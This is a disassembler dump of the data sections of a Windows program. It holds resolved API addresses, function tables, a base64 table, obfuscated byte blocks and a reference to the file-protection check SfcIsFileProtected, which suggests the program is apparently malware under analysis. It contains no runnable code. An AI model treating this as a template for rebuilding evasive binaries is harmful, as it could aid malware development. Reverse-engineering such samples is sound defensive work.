dword_446620 dd 0 ; DATA XREF: sub_439B7B+173w
; sub_439B7B+1D8w ...
dword_446624 dd 771C1E56h ; DATA XREF: sub_43B3CC+66w
; sub_43D6B1+5Dr
align 10h
dword_446630 dd 0 ; DATA XREF: sub_4399CB+CEw
; sub_4399CB+11Dw ...
dd 0FEh dup(0)
dword_446A2C dd 73D9C489h ; DATA XREF: sub_43EF62+BAw
dword_446A30 dd 0 ; DATA XREF: sub_439B7B+DDw
dword_446A34 dd 77E79881h ; DATA XREF: sub_43A105+22Cw
; sub_43F3B6+CBr ...
dword_446A38 dd 73D9C4C5h ; DATA XREF: sub_43EF62+9Ew
dword_446A3C dd 77E777EFh ; DATA XREF: sub_4395A1+8r
; sub_43A105+408w ...
dword_446A40 dd 77D48137h ; DATA XREF: sub_439DDE+242w
; sub_43DB8B+1029r ...
dword_446A44 dd 77414CDCh ; DATA XREF: sub_439B7B+2Fr
; sub_43C073+22r ...
align 10h
word_446A50 dw 0 ; DATA XREF: sub_43C5EA+509w
; sub_43C5EA+534r ...
align 4
dd 1F3h dup(0)
dword_447220 dd 77D47EE5h ; DATA XREF: sub_439DDE+19Aw
; sub_43EC0A+17Dr
dword_447224 dd 77D49A11h ; DATA XREF: sub_439DDE+9Ew
; sub_43F9F6+528r
dword_447228 dd 0 ; DATA XREF: sub_439B7B+D2w
; sub_43D058:loc_43D0E2r
align 10h
dword_447230 dd 5 dup(0) ; DATA XREF: sub_439B7B+C2o
; sub_43C5EA+1A0o ...
dword_447244 dd 77E805D8h ; DATA XREF: sub_4394DD+28r
; sub_43969E+28r ...
dword_447248 dd 77E7980Ah ; DATA XREF: sub_43A0EE+Fr
; sub_43A105+1F4w
dword_44724C dd 73DA018Fh ; DATA XREF: sub_43EF62+19Aw
dword_447250 dd 77C7F85Ah ; DATA XREF: sub_43B4B3+4Aw
; sub_43DB8B+795r ...
dword_447254 dd 77132EF6h ; DATA XREF: sub_43858C+44r
; sub_4394DD+BDw ...
dword_447258 dd 77E75D9Eh ; DATA XREF: sub_43A105+2B8w
; sub_43BA75+43r ...
dword_44725C dd 77E61608h ; DATA XREF: sub_43A105+264w
; sub_43C073+2Cr
dword_447260 dd 41h dup(0) ; DATA XREF: sub_439B7B+7Ao
; sub_439B7B+EDo ...
dword_447364 dd 77E6BD13h ; DATA XREF: sub_43A105+37Cw
; sub_440F46+14C2r
align 10h
dword_447370 dd 0 ; DATA XREF: sub_43D6B1+21w
; sub_43DB8B+7Cr ...
dword_447374 dd 0 ; DATA XREF: sub_43DB8B+495w
; sub_43DB8B+4ABr ...
dword_447378 dd 0 ; DATA XREF: sub_43DB8B+54Ew
; sub_43DB8B+621r ...
dword_44737C dd 0 ; DATA XREF: sub_43DB8B+86Fw
; sub_43DB8B+906r ...
dword_447380 dd 0 ; DATA XREF: sub_43DB8B+AA5w
; sub_43DB8B+BD2r ...
dword_447384 dd 0 ; DATA XREF: sub_43DB8B+B62w
; sub_43DB8B+C37r ...
dword_447388 dd 0 ; DATA XREF: sub_43DB8B+D03w
; sub_43DB8B+D27r ...
dword_44738C dd 0 ; DATA XREF: sub_43DB8B+EAAw
; sub_43DB8B+EC8r ...
dword_447390 dd 0 ; DATA XREF: sub_43DB8B+EFDw
; sub_43F9F6+5ACr
dword_447394 dd 0 ; DATA XREF: sub_43DB8B+F4Dw
; sub_43F9F6+5E3r
dword_447398 dd 0 ; DATA XREF: sub_43DB8B+F9Dw
; sub_43F9F6+617r
dword_44739C dd 0 ; DATA XREF: sub_43DB8B+FEDw
; sub_43F9F6+64Br
dd 4A4h dup(0)
dword_448630 dd 77D44200h ; DATA XREF: sub_439DDE+10Ew
; sub_43EC0A+328r
dword_448634 dd 77E79E34h ; DATA XREF: sub_438324+1Cr
; sub_43A105+210w
dword_448638 dd 73D9D340h ; DATA XREF: sub_43AE20+B9r
; sub_43C2C0+66r ...
dword_44863C dd 77E7A099h ; DATA XREF: sub_43A105+3D0w
dword_448640 dd 0 ; DATA XREF: sub_439B7B+E8w
; sub_44006A+165r
dword_448644 dd 73D9D5E0h ; DATA XREF: sub_43AE20+ABr
; sub_43EF62+10Ew ...
dword_448648 dd 77E8074Ah ; DATA XREF: sub_4396F6+60r
; sub_43A105+3B4w
dword_44864C dd 77D414D4h ; DATA XREF: sub_439DDE+66w
; sub_43DB8B+537r ...
dword_448650 dd 77F7E300h ; DATA XREF: sub_43A5C3+38Aw
; sub_43C507+D5r ...
dword_448654 dd 77E77963h ; DATA XREF: sub_4396F6+71r
; sub_4399CB+84r ...
align 10h
dword_448660 dd 0 ; DATA XREF: sub_43B622+2Ar
; sub_43C5EA+431r ...
dd 3E7h dup(0)
dword_449600 dd 73D9DBA2h ; DATA XREF: sub_43EF62+146w
dword_449604 dd 77D444F0h ; DATA XREF: sub_439DDE+25Ew
dword_449608 dd 0 ; DATA XREF: sub_43A105+1A0w
dword_44960C dd 77D5BA26h ; DATA XREF: sub_439DDE+4Aw
; sub_43F9F6+5B3r ...
off_449610 dd offset byte_41800D ; DATA XREF: sub_43EC0A+268w
; sub_44029C+1C3r
dword_449614 dd 77E681EFh ; DATA XREF: sub_43A105+440w
; sub_43F189+D4r ...
dword_449618 dd 77DD189Ah ; DATA XREF: sub_43C1C6+82w
; sub_43C3CE+52r
dword_44961C dd 77E7C2C4h ; DATA XREF: sub_43A105+398w
; sub_43EC0A+DBr ...
dword_449620 dd 77D4A102h ; DATA XREF: sub_439DDE+1B6w
; sub_43EC0A+18Dr
dword_449624 dd 77E793EFh ; DATA XREF: sub_43A105+114w
; sub_44047F+4Cr ...
dword_449628 dd 77D43FEDh ; DATA XREF: sub_439DDE+146w
; sub_43DB8B+EF1r ...
dword_44962C dd 0 ; DATA XREF: sub_43858C+D7Ar
; sub_439B7B+8Bw
dword_449630 dd 73D92B86h ; DATA XREF: sub_43855F+20r
; sub_43858C+A47r ...
dword_449634 dd 73D9E5C5h ; DATA XREF: sub_43858C+39Er
; sub_43858C+48Dr ...
dword_449638 dd 0 ; DATA XREF: sub_43D357+2FCr
; sub_43EC0A+28Fw ...
dword_44963C dd 77D651AFh ; DATA XREF: sub_4393B1+23r
; sub_4393B1+43r ...
dword_449640 dd 77E77CCEh ; DATA XREF: sub_43A105+184w
; sub_43D058+1CCr
dword_449644 dd 77D6ADD7h ; DATA XREF: sub_439DDE+1D2w
; sub_43F9F6+1DEr ...
dword_449648 dd 7720C039h ; DATA XREF: sub_4395B8+12r
; sub_4395B8+32r ...
dword_44964C dd 73D9D320h ; DATA XREF: sub_43C2C0+E5r
; sub_43EF62+D6w
dword_449650 dd 77E6C9E0h ; DATA XREF: sub_4399CB+6Er
; sub_43A105+328w
dword_449654 dd 77D45F74h ; DATA XREF: sub_439DDE+162w
; sub_43DB8B+4C5r
dword_449658 dd 77D5BB6Ch ; DATA XREF: sub_439DDE+296w
; sub_43F9F6+4C3r
dword_44965C dd 77D47D27h ; DATA XREF: sub_439DDE+2B2w
; sub_43DB8B+4B2r ...
dword_449660 dd 77F7E21Fh ; DATA XREF: sub_43A5C3+35Aw
; sub_43C507+64r ...
dword_449664 dd 77E73C49h ; DATA XREF: sub_43A105+18w
; sub_43BA5C+12r ...
dword_449668 dd 77E6C0E3h ; DATA XREF: sub_4399CB+96r
; sub_43A105+30Cw ...
align 10h
dword_449670 dd 40h dup(0) ; DATA XREF: sub_439B7B+F8o
; sub_439B7B+224o ...
dword_449770 dd 77E7751Ah ; DATA XREF: sub_43A105+29Cw
; sub_43B622+Cr ...
dword_449774 dd 0 ; DATA XREF: sub_439B7B+A1w
; sub_43DB8B+3A5r
dword_449778 dd 77E79424h ; DATA XREF: sub_43A105+478w
; sub_43BA75+11Br
dword_44977C dd 77D43DD3h ; DATA XREF: sub_439DDE+2CEw
; sub_43EC0A+2FEr
dword_449780 dd 77E71702h ; DATA XREF: sub_43A105+45Cw
; sub_43BA75+D3r
dword_449784 dd 0 ; DATA XREF: sub_43EBBF+11r
; sub_43EBBF+19o ...
dword_449788 dd 77E7A837h ; DATA XREF: sub_43A105+88w
; sub_43AF47+43r ...
align 10h
dword_449790 dd 0 ; DATA XREF: sub_4399CB:loc_4399DBw
; sub_4399CB+4Er ...
dd 0FEh dup(0)
dword_449B8C dd 77E79D8Ch ; DATA XREF: sub_43A105+DCw
; sub_43AF47+431r ...
dword_449B90 dd 77E7AC37h ; DATA XREF: sub_4399CB+16Br
; sub_439B7B+124r ...
align 8
dword_449B98 dd 77E7C657h ; DATA XREF: sub_43A105+494w
; sub_43F189+22r
dword_449B9C dd 77E78C81h ; DATA XREF: sub_43A105+C0w
; sub_43D8DE+A3r ...
dword_449BA0 dd 771214E8h ; DATA XREF: sub_43858C+F1r
; sub_43858C+527r ...
dword_449BA4 dd 77D5C13Ah ; DATA XREF: sub_439DDE+17Ew
; sub_43B912+1Er ...
dword_449BA8 dd 0 ; DATA XREF: sub_4395A1+3o
; sub_4395A1+Er ...
dword_449BAC dd 73D9DBAFh ; DATA XREF: sub_43EF62+12Aw
; sub_43F353:loc_43F367r ...
dword_449BB0 dd 7712151Dh ; DATA XREF: sub_4394DD+82w
; sub_43C5EA+637r
dword_449BB4 dd 771C69DCh ; DATA XREF: sub_43B3CC+4Aw
align 10h
dword_449BC0 dd 77FC5460h, 0FFFFFFFFh, 4 dup(0) ; DATA XREF: sub_43C507+13o
; sub_43C507+5Fo ...
_bss ends
; Section 6. (virtual address 0004A000)
; Virtual size : 00001C00 ( 7168.)
; Section size in file : 00001C00 ( 7168.)
; Offset to raw data for section: 0004A000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_data segment para public 'DATA' use32
assume cs:_data
;org 44A000h
off_44A000 dd offset sub_442F30 ; DATA XREF: .text:004381B5r
dword_44A004 dd 0 ; DATA XREF: sub_4381C3+4Aw
; sub_4381C3+64r
dword_44A008 dd 0 ; DATA XREF: sub_4381C3+38w
dword_44A00C dd 0 ; DATA XREF: sub_4381C3+5Fw
; sub_4381C3:loc_43823Cr
dword_44A010 dd 0 ; DATA XREF: sub_43825C+57w
align 8
dd 7325h
aWr: ; DATA XREF: sub_4381C3+3Do
; sub_4381C3+4Fo ...
unicode 0, <wr>,0
align 4
dd 4 dup(0)
dword_44A034 dd 0 ; DATA XREF: .text:004380F2w
dword_44A038 dd 0 ; DATA XREF: .text:004380FCw
; .text:00438117r ...
dword_44A03C dd 0 ; DATA XREF: .text:00438104w
dword_44A040 dd 14h dup(0) ; DATA XREF: .text:00438111o
; .text:0043811Fo
dword_44A090 dd 3 ; DATA XREF: sub_438348+41r
; sub_438348+15Dr ...
dword_44A094 dd 6 ; DATA XREF: sub_43AF47+32r
; sub_43AF47+161r ...
word_44A098 dw 2 ; DATA XREF: sub_43858C+916r
; sub_43AF47:loc_43B306r ...
align 4
dword_44A09C dd 5 ; DATA XREF: sub_4399CB+182r
; sub_43AF47+27Br ...
dword_44A0A0 dd 4 ; DATA XREF: sub_43858C+90Dr
; sub_4397A3+79r ...
word_44A0A4 dw 6 ; DATA XREF: sub_43AE20+107r
; sub_43C5EA+143r ...
align 4
dword_44A0A8 dd 6 ; DATA XREF: sub_438348+88r
; sub_43AF47:loc_43B276r ...
dword_44A0AC dd 1 ; DATA XREF: sub_43858C+737r
; sub_43858C+A2Dr ...
word_44A0B0 dw 7 ; DATA XREF: sub_43B523+71r
; sub_43C2C0+D2r ...
align 4
dword_44A0B4 dd 8 ; DATA XREF: sub_43858C+32Br
; sub_439857+44r ...
dword_44A0B8 dd 3 ; DATA XREF: sub_4396F6+14r
; sub_4396F6+77r ...
word_44A0BC dw 9 ; DATA XREF: sub_43858C+B74r
; sub_43A5C3+46r ...
align 10h
word_44A0C0 dw 2 ; DATA XREF: sub_43858C+4Cr
; sub_43858C+413r ...
align 4
dword_44A0C4 dd 7 ; DATA XREF: sub_43CCC9+1Cr
; sub_43CCC9+E6r ...
dword_44A0C8 dd 0 ; DATA XREF: sub_4393B1:loc_439441r
; sub_43AF47+69r ...
word_44A0CC dw 7 ; DATA XREF: sub_43858C+3E7r
; sub_43C434+19r ...
align 10h
word_44A0D0 dw 7 ; DATA XREF: sub_43AF47+313r
; sub_43AF47+349r ...
align 4
dword_44A0D4 dd 6 ; DATA XREF: sub_43858C+8C1r
; sub_43A974+19r ...
word_44A0D8 dw 2 ; DATA XREF: sub_43BA75+18Dr
; sub_43C5EA+237r ...
align 4
dword_44A0DC dd 3 ; DATA XREF: sub_43858C+13Dr
; sub_4397A3+39r ...
word_44A0E0 dw 1 ; DATA XREF: sub_438348+46r
; sub_43CCC9+97r ...
align 4
dword_44A0E4 dd 9 ; DATA XREF: sub_438348:loc_4384A0r
; sub_43C073+F9r ...
word_44A0E8 dw 1 ; DATA XREF: sub_4399CB+C2r
; sub_43AE20+85r ...
align 4
dword_44A0EC dd 4 ; DATA XREF: sub_439B7B+190r
; sub_43A5C3+B1r ...
dword_44A0F0 dd 1 ; DATA XREF: sub_43A5C3+BBr
; sub_43AF47+380r ...
dword_44A0F4 dd 7 ; DATA XREF: sub_43858C+73Cr
; sub_43858C+9A6r ...
dword_44A0F8 dd 7 ; DATA XREF: sub_4399CB+BCr
; sub_439B7B+178r ...
word_44A0FC dw 6 ; DATA XREF: sub_43AF47+21r
; sub_43AF47+38Br ...
align 10h
word_44A100 dw 3 ; DATA XREF: sub_4384B5+44r
; sub_43858C+8E4r ...
align 4
word_44A104 dw 8 ; DATA XREF: sub_43858C+54Dr
; sub_43A5C3+4Dr ...
align 4
dword_44A108 dd 6 ; DATA XREF: sub_438348+10r
; sub_43963B+48r ...
dword_44A10C dd 6 ; DATA XREF: sub_43BA75+1D5r
; sub_43BD90+12Cr ...
dword_44A110 dd 5 ; DATA XREF: sub_43A974+1C8r
; sub_43AF47+17Br ...
dword_44A114 dd 8 ; DATA XREF: sub_4399CB+159r
; sub_43B622+189r ...
word_44A118 dw 3 ; DATA XREF: sub_4384B5+30r
; sub_43B622+1EBr ...
align 4
dword_44A11C dd 5 ; DATA XREF: sub_43C073+B9r
; sub_43CCC9+16Cr ...
dword_44A120 dd 5 ; DATA XREF: sub_43A5C3+1FDr
; sub_43CCC9+18Br ...
word_44A124 dw 6 ; DATA XREF: sub_43858C+7A7r
; sub_439B7B+67r ...
align 4
dword_44A128 dd 9 ; DATA XREF: sub_43858C+1F4r
; sub_43858C+8B7r ...
dword_44A12C dd 8 ; DATA XREF: sub_4399CB+15Fr
; sub_43ABE3+19Ar ...
word_44A130 dw 3 ; DATA XREF: sub_43858C+55Br
; sub_43858C+5EAr ...
align 4
dword_44A134 dd 8 ; DATA XREF: sub_438348+E1r
; sub_4399CB+FCr ...
dword_44A138 dd 0 ; DATA XREF: sub_43858C+4F7r
; sub_43858C+850r ...
dword_44A13C dd 3 ; DATA XREF: sub_4384B5+59r
; sub_43858C+5F1r ...
dword_44A140 dd 9 ; DATA XREF: sub_43858C+B2Er
; sub_43B622+15r ...
word_44A144 dw 6 ; DATA XREF: sub_438348+124r
; sub_43858C+634r ...
align 4
dword_44A148 dd 2 ; DATA XREF: sub_43858C+5ACr
; sub_439B7B+14Ar ...
dword_44A14C dd 6 ; DATA XREF: sub_43858C+41Ar
; sub_43ABE3+140r ...
word_44A150 dw 8 ; DATA XREF: sub_43858C+78Fr
; sub_43858C+AA1r ...
align 4
dword_44A154 dd 7 ; DATA XREF: sub_43858C+698r
; sub_43A5C3+242r ...
dword_44A158 dd 9 ; DATA XREF: sub_438348+82r
; sub_43858C+9EDr ...
dword_44A15C dd 9 ; DATA XREF: sub_43CCC9+43r
; sub_43CE89+C7r ...
word_44A160 dw 1 ; DATA XREF: sub_43BD90+4Dr
; sub_43D058+16r ...
align 4
dword_44A164 dd 4 ; DATA XREF: sub_43858C+813r
; sub_43A974+135r ...
dword_44A168 dd 0 ; DATA XREF: sub_43858C+767r
; sub_43858C+81Cr ...
word_44A16C dw 1 ; DATA XREF: sub_43858C+2Dr
; sub_43AF47+89r ...
align 10h
word_44A170 dw 2 ; DATA XREF: sub_438348+A3r
; sub_43858C+1E2r ...
align 4
word_44A174 dw 7 ; DATA XREF: sub_43858C+8F1r
; sub_43858C+A12r ...
align 4
word_44A178 dw 4 ; DATA XREF: sub_4396F6+96r
; sub_43A5C3+21Fr ...
align 4
dword_44A17C dd 5 ; DATA XREF: sub_43858C+8DBr
; sub_43AE20+CCr ...
word_44A180 dw 4 ; DATA XREF: sub_43858C+34r
; sub_43858C+463r ...
align 4
dword_44A184 dd 2 ; DATA XREF: sub_4384B5:loc_4384F4r
; sub_43858C+5D7r ...
dword_44A188 dd 0 ; DATA XREF: sub_43858C+5DDr
; sub_4393B1+67r ...
dword_44A18C dd 0 ; DATA XREF: sub_43855F+8r
; sub_43CCC9:loc_43CE4Cr ...
dword_44A190 dd 2 ; DATA XREF: sub_43D6B1+86r
; sub_43DB8B+35Er ...
dword_44A194 dd 9 ; DATA XREF: sub_43858C+256r
; sub_4393B1+77r ...
dword_44A198 dd 2 ; DATA XREF: sub_43858C+BE3r
; sub_43A5C3+2Br ...
dword_44A19C dd 6 ; DATA XREF: sub_43ABE3+194r
; sub_43AF47+2A6r ...
dword_44A1A0 dd 3 ; DATA XREF: sub_43858C+7EAr
; sub_43A5C3+256r ...
word_44A1A4 dw 7 ; DATA XREF: sub_438348+CBr
; sub_43858C+83Br ...
align 4
dword_44A1A8 dd 2 ; DATA XREF: sub_43858C+663r
; sub_43858C+8F8r ...
dword_44A1AC dd 5 ; DATA XREF: sub_43858C:loc_438FCAr
; sub_439992+1Cr ...
dword_44A1B0 dd 7 ; DATA XREF: sub_43858C:loc_438B93r
; sub_43B622+1E1r ...
word_44A1B4 dw 4 ; DATA XREF: sub_43858C+53r
; sub_4393B1+60r ...
align 4
dword_44A1B8 dd 5 ; DATA XREF: sub_43858C+7C5r
; sub_43D357+50r ...
dword_44A1BC dd 9 ; DATA XREF: sub_43BA75+E4r
; sub_43CCC9+80r ...
word_44A1C0 dw 4 ; DATA XREF: sub_43858C+6EDr
; sub_43BA75:loc_43BB2Br ...
align 4
dword_44A1C4 dd 5 ; DATA XREF: sub_43858C+786r
; sub_4393B1+7Cr ...
dword_44A1C8 dd 0 ; DATA XREF: sub_4384B5+52r
; sub_439B7B+11Cr
dword_44A1CC dd 6 ; DATA XREF: sub_43858C+971r
; sub_43CC87+12r ...
dword_44A1D0 dd 7 ; DATA XREF: sub_43858C+27Dr
; sub_4397A3+73r ...
dword_44A1D4 dd 2 ; DATA XREF: sub_43A5C3+66r
; sub_43B523+A2r ...
dword_44A1D8 dd 9 ; DATA XREF: sub_43858C+575r
; sub_43DB8B+CB5r ...
word_44A1DC dw 1 ; DATA XREF: sub_438348+12Br
; sub_43858C+BBDr ...
align 10h
word_44A1E0 dw 3 ; DATA XREF: sub_43858C+6E6r
; sub_439B7B+138r ...
align 4
dword_44A1E4 dd 4 ; DATA XREF: sub_43858C+842r
; sub_43BA5Cr ...
dword_44A1E8 dd 1 ; DATA XREF: sub_43858C+305r
; sub_43858C+A9Cr ...
dword_44A1EC dd 8 ; DATA XREF: sub_43858C+CEFr
; sub_43A974+19Dr ...
word_44A1F0 dw 3 ; DATA XREF: sub_438324+8r
; sub_4397A3+53r ...
align 4
dword_44A1F4 dd 4 ; DATA XREF: sub_43858C+B85r
; sub_43A5C3+8Dr ...
dword_44A1F8 dd 3 ; DATA XREF: sub_43858C+B8Br
; sub_43A974+170r ...
word_44A1FC dw 5 ; DATA XREF: sub_438348+9r
; sub_43AF47+2BDr ...
align 10h
dword_44A200 dd 5 ; DATA XREF: sub_43858C+88Fr
; sub_43858C+923r ...
dword_44A204 dd 1 ; DATA XREF: sub_43858C+138r
; sub_43858C+1BFr ...
word_44A208 dw 5 ; DATA XREF: sub_438348+109r
; sub_43ABE3+Dr ...
align 4
dword_44A20C dd 6 ; DATA XREF: sub_4399CB+58r
; sub_43B523+7Er ...
dword_44A210 dd 1 ; DATA XREF: sub_43AF47+1B5r
; sub_43B622+2D3r ...
dword_44A214 dd 9 ; DATA XREF: sub_4393B1+114r
; sub_43C5EA+324r ...
word_44A218 dw 5 ; DATA XREF: sub_43858C+668r
; sub_439992+15r ...
align 4
dword_44A21C dd 8 ; DATA XREF: sub_43858C+35Dr
; sub_43858C+8AEr ...
dword_44A220 dd 4 ; DATA XREF: sub_43ABE3+A3r
; sub_43C507+6Ar ...
dword_44A224 dd 5 ; DATA XREF: sub_43858C+BDr
; sub_43858C+4CFr ...
dword_44A228 dd 3 ; DATA XREF: sub_43BD90+207r
; sub_43EC0A+87r ...
word_44A22C dw 7 ; DATA XREF: sub_43858C:loc_4390B3r
; sub_439B7B+1FDr ...
align 10h
word_44A230 dw 6 ; DATA XREF: sub_43858C+52Dr
; sub_43858C+7A0r ...
align 4
dword_44A234 dd 4 ; DATA XREF: sub_4396F6:loc_439784r
; sub_43A5C3+23Dr ...
dword_44A238 dd 0 ; DATA XREF: sub_439B7B+1A6r
; sub_43A5C3+1E3r ...
dword_44A23C dd 5 ; DATA XREF: sub_43963B+43r
; sub_43A5C3+25Er ...
word_44A240 dw 2 ; DATA XREF: sub_43858C+3E0r
; sub_43858C+7F7r ...
align 4
dword_44A244 dd 4 ; DATA XREF: sub_43AE20+113r
; sub_43AF47+1Cr ...
dword_44A248 dd 0 ; DATA XREF: sub_43969E+3Cr
; sub_43A5C3+184r ...
word_44A24C dw 9 ; DATA XREF: sub_43858C+859r
; sub_43DB8B+1D4r ...
align 10h
word_44A250 dw 1 ; DATA XREF: sub_43B523+84r
; sub_43D357+23Br ...
align 4
dword_44A254 dd 9 ; DATA XREF: sub_43858C+75Er
; sub_43858C+BB8r ...
dword_44A258 dd 2 ; DATA XREF: sub_4397A3+93r
; sub_43CE89+23r ...
dword_44A25C dd 8 ; DATA XREF: sub_43858C+56Fr
; sub_43858C+7CBr ...
word_44A260 dw 2 ; DATA XREF: sub_43858C+826r
; sub_43B622+12Dr ...
align 4
word_44A264 dw 9 ; DATA XREF: sub_43858C+A19r
; sub_4399CB+13Br ...
align 4
dword_44A268 dd 4 ; DATA XREF: sub_43858C+19Ar
; sub_43858C+3D0r ...
dword_44A26C dd 9 ; DATA XREF: sub_43858C+98r
; sub_439857+7Br ...
dword_44A270 dd 4 ; DATA XREF: sub_43858C+8CAr
; sub_4397A3+9Fr ...
dword_44A274 dd 1 ; DATA XREF: sub_43858C+16Br
; sub_4393B1+C6r ...
dword_44A278 dd 2 ; DATA XREF: sub_438348+9Dr
; sub_43AE20+51r ...
word_44A27C dw 4 ; DATA XREF: sub_439857+10r
; sub_439857+3Dr ...
align 10h
dword_44A280 dd 4 ; DATA XREF: sub_43855F+10r
; sub_43858C+AF6r ...
dword_44A284 dd 9 ; DATA XREF: sub_438324+Fr
; sub_43858C+282r ...
dword_44A288 dd 6 ; DATA XREF: sub_43B523+3Er
; sub_43C2C0+47r ...
dword_44A28C dd 6 ; DATA XREF: sub_43858C+166r
; sub_43858C+713r ...
dword_44A290 dd 1 ; DATA XREF: sub_43C507+Ar
; sub_43C507+1Ew ...
dword_44A294 dd 77E60000h ; DATA XREF: sub_43A105+Cr
; sub_43A105+28r ...
dword_44A298 dd 73D90000h ; DATA XREF: sub_43EF62+13w
; sub_43EF62+2Ew ...
dword_44A29C dd 77D40000h ; DATA XREF: sub_439DDE+13w
; sub_439DDE+2Ew ...
dword_44A2A0 dd 77C70000h ; DATA XREF: sub_43B4B3+13w
; sub_43B4B3+2Ew ...
dword_44A2A4 dd 771B0000h ; DATA XREF: sub_43B3CC+13w
; sub_43B3CC+2Ew ...
dword_44A2A8 dd 77120000h ; DATA XREF: sub_4394DD+13w
; sub_4394DD+2Ew ...
dword_44A2AC dd 76BB0000h ; DATA XREF: sub_44029C:loc_440418r
; sub_440D4B+13w ...
dword_44A2B0 dd 76C60000h ; DATA XREF: sub_43969E+13w
; sub_43969E+2Ew ...
dword_44A2B4 dd 773D0000h ; DATA XREF: sub_43C26E+13w
; sub_43C26E+2Ew ...
dword_44A2B8 dd 77DD0000h ; DATA XREF: sub_43C1C6+13w
; sub_43C1C6+2Ew ...
off_44A2BC dd offset aAbcdefghijklmn ; DATA XREF: sub_43F932:loc_43F9B3r
; "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklm"...
dword_44A2C0 dd 0E860h, 0E9610000h, 2 dup(0) ; DATA XREF: sub_440F46+A4Co
dword_44A2D0 dd 11h, 0Fh dup(0) ; DATA XREF: sub_439DC4+8o
dword_44A310 dd 0E1F7EEA5h, 0BFFD7E2Ch, 869AE87Fh, 0CC244082h, 0D76ADDE2h
; DATA XREF: sub_439DC4+3o
dd 1B77E1E1h, 505215B0h, 0D24B6456h, 3D357C6Bh, 280E85D5h
dd 1AB051F9h, 1E4E8744h, 0E383CCDFh, 323D4737h, 14F80518h
dd 6E0637BFh
dword_44A350 dd 0 ; DATA XREF: sub_43AF47+2F1w
; sub_43AF47+395w ...
off_44A354 dd offset sub_440CD0 ; DATA XREF: sub_43C5EA+5C3o
dd offset sub_43EF4B
dd offset sub_43EBBF
dd offset sub_43C1A7
dd offset sub_43F9EE
dd offset sub_440294
dd offset sub_43CE89
dword_44A370 dd 0 ; DATA XREF: sub_439B7B+FEw
; sub_43A974+10r ...
off_44A374 dd offset sub_4395B8 ; DATA XREF: .data:off_44A390o
dd offset sub_4395A1
dd offset sub_440EC1
dd offset sub_43CC7F
dd offset sub_439DBC
dd offset sub_43C06B
dd offset sub_440EE8
off_44A390 dd offset off_44A374 ; DATA XREF: sub_439857+B8o
; sub_43D6B1+138o
dword_44A394 dd 0 ; DATA XREF: sub_439857+2Fr
; sub_439857+6Cr ...
off_44A398 dd offset sub_43C48C ; DATA XREF: .data:off_44A3B4o
dd offset sub_43C1AF
dd offset sub_43CE60
dd offset sub_43EF43
dd offset sub_43B61A
dd offset sub_439633
dd offset sub_439857
off_44A3B4 dd offset off_44A398 ; DATA XREF: sub_43D6B1:loc_43D869o
dword_44A3B8 dd 0FFFFFFFFh ; DATA XREF: sub_438348+3Ar
dd 2Ah dup(0FFFFFFFFh), 3Eh, 3 dup(0FFFFFFFFh), 3Fh, 34h
dd 35h, 36h, 37h, 38h, 39h, 3Ah, 3Bh, 3Ch, 3Dh, 7 dup(0FFFFFFFFh)
dd 0
dd 1, 2, 3, 4, 5, 6, 7, 8, 9, 0Ah, 0Bh, 0Ch, 0Dh, 0Eh
dd 0Fh, 10h, 11h, 12h, 13h, 14h, 15h, 16h, 17h, 18h, 19h
dd 6 dup(0FFFFFFFFh), 1Ah, 1Bh, 1Ch, 1Dh, 1Eh, 1Fh, 20h
dd 21h, 22h, 23h, 24h, 25h, 26h, 27h, 28h, 29h, 2Ah, 2Bh
dd 2Ch, 2Dh, 2Eh, 2Fh, 30h, 31h, 32h, 33h, 85h dup(0FFFFFFFFh)
off_44A7B8 dd offset loc_4383BF ; DATA XREF: sub_438348+70r
dd offset loc_4383C7
dd offset loc_43840D
dd offset loc_43844B
aCreatethread db 'CreateThread',0 ; DATA XREF: sub_43A5C3+2E8o
aEntercriticals db 'EnterCriticalSection',0 ; DATA XREF: sub_43A5C3+2FBo
aInitializecrit db 'InitializeCriticalSection',0 ; DATA XREF: sub_43A5C3+30Eo
aLeavecriticals db 'LeaveCriticalSection',0 ; DATA XREF: sub_43A5C3+322o
align 4
dword_44A81C dd 2ED40000h, 61746164h ; DATA XREF: sub_440F46+7E7o
db 0
byte_44A825 db 4, 0, 0F2h ; DATA XREF: sub_440DA6+55o
aUb_0 db 'ܜ',0
byte_44A82D db 1, 0, 9Ch ; DATA XREF: sub_440DA6+29o
db 0C0h, 0
word_44A832 dw 0 ; DATA XREF: sub_440D4B+3Co
aPsfcisfileprot db 'SfcIsFileProtected',0
dword_44A848 dd 738B0000h, 642E6366h ; DATA XREF: sub_440D4B+1Co
db 2 dup(6Ch), 0
byte_44A853 db 0 ; DATA XREF: sub_440D4B+1o
dd 6673A200h, 6C642E63h
db 6Ch, 0
word_44A85E dw 4 ; DATA XREF: sub_440B97+56o
aS?_0 db 'S}=? ',0
word_44A866 dw 1 ; DATA XREF: sub_440B97+2Ao
db 0CBh, 97h, 0
byte_44A86B db 4 ; DATA XREF: sub_440AF2+6Fo
dd 5F547100h
db 43h, 29h, 0
byte_44A873 db 1 ; DATA XREF: sub_440AF2:loc_440B4Fo
dd 89AC00h
dword_44A878 dd 40650002h ; DATA XREF: sub_440AF2:loc_440B30o
db 6, 0
word_44A87E dw 1 ; DATA XREF: sub_440511+306o
db 4Ch, 6Fh, 0
byte_44A883 db 1 ; DATA XREF: sub_440511+2B4o
dd 0F3D000h
dword_44A888 dd 0D9FA0001h ; DATA XREF: sub_440511+236o
db 0
byte_44A88D db 7, 0, 0E1h ; DATA XREF: sub_440511+212o
aIxxs db '',0
dword_44A898 dd 9FBC0001h ; DATA XREF: sub_440511+1D0o
db 0
byte_44A89D db 7, 0, 43h ; DATA XREF: sub_440511:loc_440632o
a773yll db '+773yll',0
dword_44A8A8 dd 0F596042Bh, 0FEF5F3FEh, 0E4E6F8F3h, 0B8E5E5F3h, 0F9F0F8FFh
; DATA XREF: sub_440511+10o
dd 0FAF9F1B5h, 0FAF9E6F2h, 0F9F5B8FAh, 0F8FFB5FBh, 0FAF9F1E2h
dd 0F9F5B8F2h, 0E1E1B5FBh, 0F4F5B8E1h, 0E3E4B8E4h, 0E1E1E1B5h
dd 0F5F9E5B8h, 0F7B8E5FDh, 0E2E5B5F5h, 0E6FBE4F9h, 0F5B8EFF7h
dd 0F5B5FBF9h, 0F9E2E3E4h, 0E3F8B8E6h, 0E1F3F8B5h, 0F1F1F3B8h
